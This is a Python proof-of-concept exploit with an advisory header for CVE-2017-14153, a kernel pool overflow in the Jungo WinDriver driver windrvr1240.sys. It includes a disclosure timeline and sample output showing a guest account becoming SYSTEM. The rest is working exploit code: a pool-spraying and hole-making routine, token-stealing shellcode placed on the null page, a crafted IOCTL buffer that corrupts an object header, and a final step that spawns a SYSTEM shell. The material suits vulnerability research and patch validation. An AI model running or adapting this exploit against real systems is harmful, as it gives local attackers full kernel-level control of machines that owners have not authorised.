# -*- coding: utf-8 -*- """ Jungo DriverWizard WinDriver Kernel Pool Overflow Vulnerability Download: http://www.jungo.com/st/products/windriver/ File: WD1240.EXE Sha1: 3527cc974ec885166f0d96f6aedc8e542bb66cba Driver: windrvr1240.sys Sha1: 0f212075d86ef7e859c1941f8e5b9e7a6f2558ad CVE: CVE-2017-14153 Author: Steven Seeley (mr_me) of Source Incite Affected: <= v12.4.0 Thanks: b33f, ryujin and sickness Analysis: http://srcincite.io/blog/2017/09/06/sharks-in-the-pool-mixed-object-exploitation-in-the-windows-kernel-pool.html Summary: ======== This vulnerability allows local attackers to escalate privileges on vulnerable installations of Jungo WinDriver. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the processing of IOCTL 0x953824b7 by the windrvr1240 kernel driver. The issue lies in the failure to properly validate user-supplied data which can result in a kernel pool overflow. An attacker can leverage this vulnerability to execute arbitrary code under the context of kernel. Timeline: ========= 2017-08-22 – Verified and sent to Jungo via sales@/first@/security@/info@jungo.com 2017-08-25 – No response from Jungo and two bounced emails 2017-08-26 – Attempted a follow up with the vendor via website chat 2017-08-26 – No response via the website chat 2017-09-03 – Recieved an email from a Jungo representative stating that they are "looking into it" 2017-09-03 – Requested a timeframe for patch development and warned of possible 0day release 2017-09-06 – No response from Jungo 2017-09-06 – Public 0day release of advisory Example: ======== C:\Users\Guest\Desktop>icacls poc.py poc.py NT AUTHORITY\Authenticated Users:(I)(F) NT AUTHORITY\SYSTEM:(I)(F) BUILTIN\Administrators:(I)(F) BUILTIN\Users:(I)(F) Mandatory Label\Low Mandatory Level:(I)(NW) Successfully processed 1 files; Failed processing 0 files C:\Users\Guest\Desktop>whoami debugee\guest C:\Users\Guest\Desktop>poc.py --[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ] Steven Seeley (mr_me) of Source Incite (+) spraying pool with mixed objects... (+) sprayed the pool! (+) making pool holes... (+) made the pool holes! (+) allocating shellcode... (+) allocated the shellcode! (+) triggering pool overflow... (+) allocating pool overflow input buffer (+) elevating privileges! Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users\Guest\Desktop>whoami nt authority\system C:\Users\Guest\Desktop> """ from ctypes import * from ctypes.wintypes import * import struct, sys, os, time from platform import release, architecture ntdll = windll.ntdll kernel32 = windll.kernel32 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 PAGE_EXECUTE_READWRITE = 0x00000040 STATUS_SUCCESS = 0x0 STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 STATUS_INVALID_HANDLE = 0xC0000008 SystemExtendedHandleInformation = 64 class LSA_UNICODE_STRING(Structure): """Represent the LSA_UNICODE_STRING on ntdll.""" _fields_ = [ ("Length", USHORT), ("MaximumLength", USHORT), ("Buffer", LPWSTR), ] class SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX(Structure): """Represent the SYSTEM_HANDLE_TABLE_ENTRY_INFO on ntdll.""" _fields_ = [ ("Object", c_void_p), ("UniqueProcessId", ULONG), ("HandleValue", ULONG), ("GrantedAccess", ULONG), ("CreatorBackTraceIndex", USHORT), ("ObjectTypeIndex", USHORT), ("HandleAttributes", ULONG), ("Reserved", ULONG), ] class SYSTEM_HANDLE_INFORMATION_EX(Structure): """Represent the SYSTEM_HANDLE_INFORMATION on ntdll.""" _fields_ = [ ("NumberOfHandles", ULONG), ("Reserved", ULONG), ("Handles", SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * 1), ] class PUBLIC_OBJECT_TYPE_INFORMATION(Structure): """Represent the PUBLIC_OBJECT_TYPE_INFORMATION on ntdll.""" _fields_ = [ ("Name", LSA_UNICODE_STRING), ("Reserved", ULONG * 22), ] class PROCESSENTRY32(Structure): _fields_ = [ ("dwSize", c_ulong), ("cntUsage", c_ulong), ("th32ProcessID", c_ulong), ("th32DefaultHeapID", c_int), ("th32ModuleID", c_ulong), ("cntThreads", c_ulong), ("th32ParentProcessID", c_ulong), ("pcPriClassBase", c_long), ("dwFlags", c_ulong), ("szExeFile", c_wchar * MAX_PATH) ] Process32First = kernel32.Process32FirstW Process32Next = kernel32.Process32NextW def signed_to_unsigned(signed): """ Convert signed to unsigned integer. """ unsigned, = struct.unpack ("L", struct.pack ("l", signed)) return unsigned def get_type_info(handle): """ Get the handle type information to find our sprayed objects. """ public_object_type_information = PUBLIC_OBJECT_TYPE_INFORMATION() size = DWORD(sizeof(public_object_type_information)) while True: result = signed_to_unsigned( ntdll.NtQueryObject( handle, 2, byref(public_object_type_information), size, None)) if result == STATUS_SUCCESS: return public_object_type_information.Name.Buffer elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(public_object_type_information, size.value) elif result == STATUS_INVALID_HANDLE: return None else: raise x_file_handles("NtQueryObject.2", hex (result)) def get_handles(): """ Return all the processes handles in the system at the time. Can be done from LI (Low Integrity) level on Windows 7 x86. """ system_handle_information = SYSTEM_HANDLE_INFORMATION_EX() size = DWORD (sizeof (system_handle_information)) while True: result = ntdll.NtQuerySystemInformation( SystemExtendedHandleInformation, byref(system_handle_information), size, byref(size) ) result = signed_to_unsigned(result) if result == STATUS_SUCCESS: break elif result == STATUS_INFO_LENGTH_MISMATCH: size = DWORD(size.value * 4) resize(system_handle_information, size.value) else: raise x_file_handles("NtQuerySystemInformation", hex(result)) pHandles = cast( system_handle_information.Handles, POINTER(SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX * \ system_handle_information.NumberOfHandles) ) for handle in pHandles.contents: yield handle.UniqueProcessId, handle.HandleValue, handle.Object def we_can_alloc_shellcode(): """ This function allocates the shellcode @ the null page making sure the new OkayToCloseProcedure pointer points to shellcode. """ baseadd = c_int(0x00000004) null_size = c_int(0x1000) tokenstealing = ( "\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x50\x8B\xC8\x8B\x80" "\xB8\x00\x00\x00\x2D\xB8\x00\x00\x00\x83\xB8\xB4\x00\x00\x00\x04" "\x75\xEC\x8B\x90\xF8\x00\x00\x00\x89\x91\xF8\x00\x00\x00\xC2\x10" "\x00" ) OkayToCloseProcedure = struct.pack("<L", 0x00000078) sc = "\x42" * 0x70 + OkayToCloseProcedure # first we restore our smashed TypeIndex sc += "\x83\xC6\x0c" # add esi, 0c sc += "\xc7\x06\x0a\x00\x08\x00" # mov [esi], 8000a sc += "\x83\xee\x0c" # sub esi, 0c sc += tokenstealing sc += "\x90" * (0x400-len(sc)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(null_size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "(-) error while allocating the null paged memory: %s" % dwStatus return False written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, 0x00000004, sc, 0x400, byref(written)) if write == 0: print "(-) error while writing our junk to the null paged memory: %s" % write return False return True def we_can_spray(): """ Spray the Kernel Pool with IoCompletionReserve and Event Objects. The IoCompletionReserve object is 0x60 and Event object is 0x40 bytes in length. These are allocated from the Nonpaged kernel pool. """ handles = [] IO_COMPLETION_OBJECT = 1 for i in range(0, 25000): handles.append(windll.kernel32.CreateEventA(0,0,0,0)) hHandle = HANDLE(0) handles.append(ntdll.NtAllocateReserveObject(byref(hHandle), 0x0, IO_COMPLETION_OBJECT)) # could do with some better validation if len(handles) > 0: return True return False def alloc_pool_overflow_buffer(base, input_size): """ Craft our special buffer to trigger the overflow. """ print "(+) allocating pool overflow input buffer" baseadd = c_int(base) size = c_int(input_size) input = "\x41" * 0x18 # offset to size input += struct.pack("<I", 0x0000008d) # controlled size (this triggers the overflow) input += "\x42" * (0x90-len(input)) # padding to survive bsod input += struct.pack("<I", 0x00000000) # use a NULL dword for sub_4196CA input += "\x43" * ((0x460-0x8)-len(input)) # fill our pool buffer # repair the allocated chunk header... input += struct.pack("<I", 0x040c008c) # _POOL_HEADER input += struct.pack("<I", 0xef436f49) # _POOL_HEADER (PoolTag) input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO input += struct.pack("<I", 0x0000005c) # _OBJECT_HEADER_QUOTA_INFO input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER_QUOTA_INFO input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (PointerCount) input += struct.pack("<I", 0x00000001) # _OBJECT_HEADER (HandleCount) input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (Lock) input += struct.pack("<I", 0x00080000) # _OBJECT_HEADER (TypeIndex) input += struct.pack("<I", 0x00000000) # _OBJECT_HEADER (ObjectCreateInfo) # filler input += "\x44" * (input_size-len(input)) ntdll.NtAllocateVirtualMemory.argtypes = [c_int, POINTER(c_int), c_ulong, POINTER(c_int), c_int, c_int] dwStatus = ntdll.NtAllocateVirtualMemory(0xffffffff, byref(baseadd), 0x0, byref(size), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE) if dwStatus != STATUS_SUCCESS: print "(-) error while allocating memory: %s" % hex(dwStatus + 0xffffffff) return False written = c_ulong() write = kernel32.WriteProcessMemory(0xffffffff, base, input, len(input), byref(written)) if write == 0: print "(-) error while writing our input buffer memory: %s" % write return False return True def we_can_trigger_the_pool_overflow(): """ This triggers the pool overflow vulnerability using a buffer of size 0x460. """ GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 OPEN_EXISTING = 0x3 DEVICE_NAME = "\\\\.\\WinDrvr1240" dwReturn = c_ulong() driver_handle = kernel32.CreateFileA(DEVICE_NAME, GENERIC_READ | GENERIC_WRITE, 0, None, OPEN_EXISTING, 0, None) inputbuffer = 0x41414141 inputbuffer_size = 0x5000 outputbuffer_size = 0x5000 outputbuffer = 0x20000000 alloc_pool_overflow_buffer(inputbuffer, inputbuffer_size) IoStatusBlock = c_ulong() if driver_handle: dev_ioctl = ntdll.ZwDeviceIoControlFile(driver_handle, None, None, None, byref(IoStatusBlock), 0x953824b7, inputbuffer, inputbuffer_size, outputbuffer, outputbuffer_size) return True return False def we_can_make_pool_holes(): """ This makes the pool holes that will coalesce into a hole of size 0x460. """ global khandlesd mypid = os.getpid() khandlesd = {} khandlesl = [] # leak kernel handles for pid, handle, obj in get_handles(): # mixed object attack if pid == mypid and (get_type_info(handle) == "Event" or get_type_info(handle) == "IoCompletionReserve"): khandlesd[obj] = handle khandlesl.append(obj) # Find holes and make our allocation holes = [] for obj in khandlesl: # obj address is the handle address, but we want to allocation # address, so we just remove the size of the object header from it. alloc = obj - 0x30 # Get allocations at beginning of the page if (alloc & 0xfffff000) == alloc: bin = [] # object sizes CreateEvent_size = 0x40 IoCompletionReserve_size = 0x60 combined_size = CreateEvent_size + IoCompletionReserve_size # after the 0x20 chunk hole, the first object will be the IoCompletionReserve object offset = IoCompletionReserve_size for i in range(offset, offset + (7 * combined_size), combined_size): try: # chunks need to be next to each other for the coalesce to take effect bin.append(khandlesd[obj + i]) bin.append(khandlesd[obj + i - IoCompletionReserve_size]) except KeyError: pass # make sure it's contiguously allocated memory if len(tuple(bin)) == 14: holes.append(tuple(bin)) # make the holes to fill for hole in holes: for handle in hole: kernel32.CloseHandle(handle) return True def trigger_lpe(): """ This function frees the IoCompletionReserve objects and this triggers the registered aexit, which is our controlled pointer to OkayToCloseProcedure. """ # free the corrupted chunk to trigger OkayToCloseProcedure for k, v in khandlesd.iteritems(): kernel32.CloseHandle(v) os.system("cmd.exe") def main(): print "\n\t--[ Jungo DriverWizard WinDriver Kernel Pool Overflow EoP exploit ]" print "\t Steven Seeley (mr_me) of Source Incite\r\n" if release() != "7" or architecture()[0] != "32bit": print "(-) although this exploit may work on this system," print " it was only designed for Windows 7 x86." sys.exit(-1) print "(+) spraying pool with mixed objects..." if we_can_spray(): print "(+) sprayed the pool!" print "(+) making pool holes..." if we_can_make_pool_holes(): print "(+) made the pool holes!" print "(+) allocating shellcode..." if we_can_alloc_shellcode(): print "(+) allocated the shellcode!" print "(+) triggering pool overflow..." if we_can_trigger_the_pool_overflow(): print "(+) elevating privileges!" trigger_lpe() if __name__ == '__main__': main()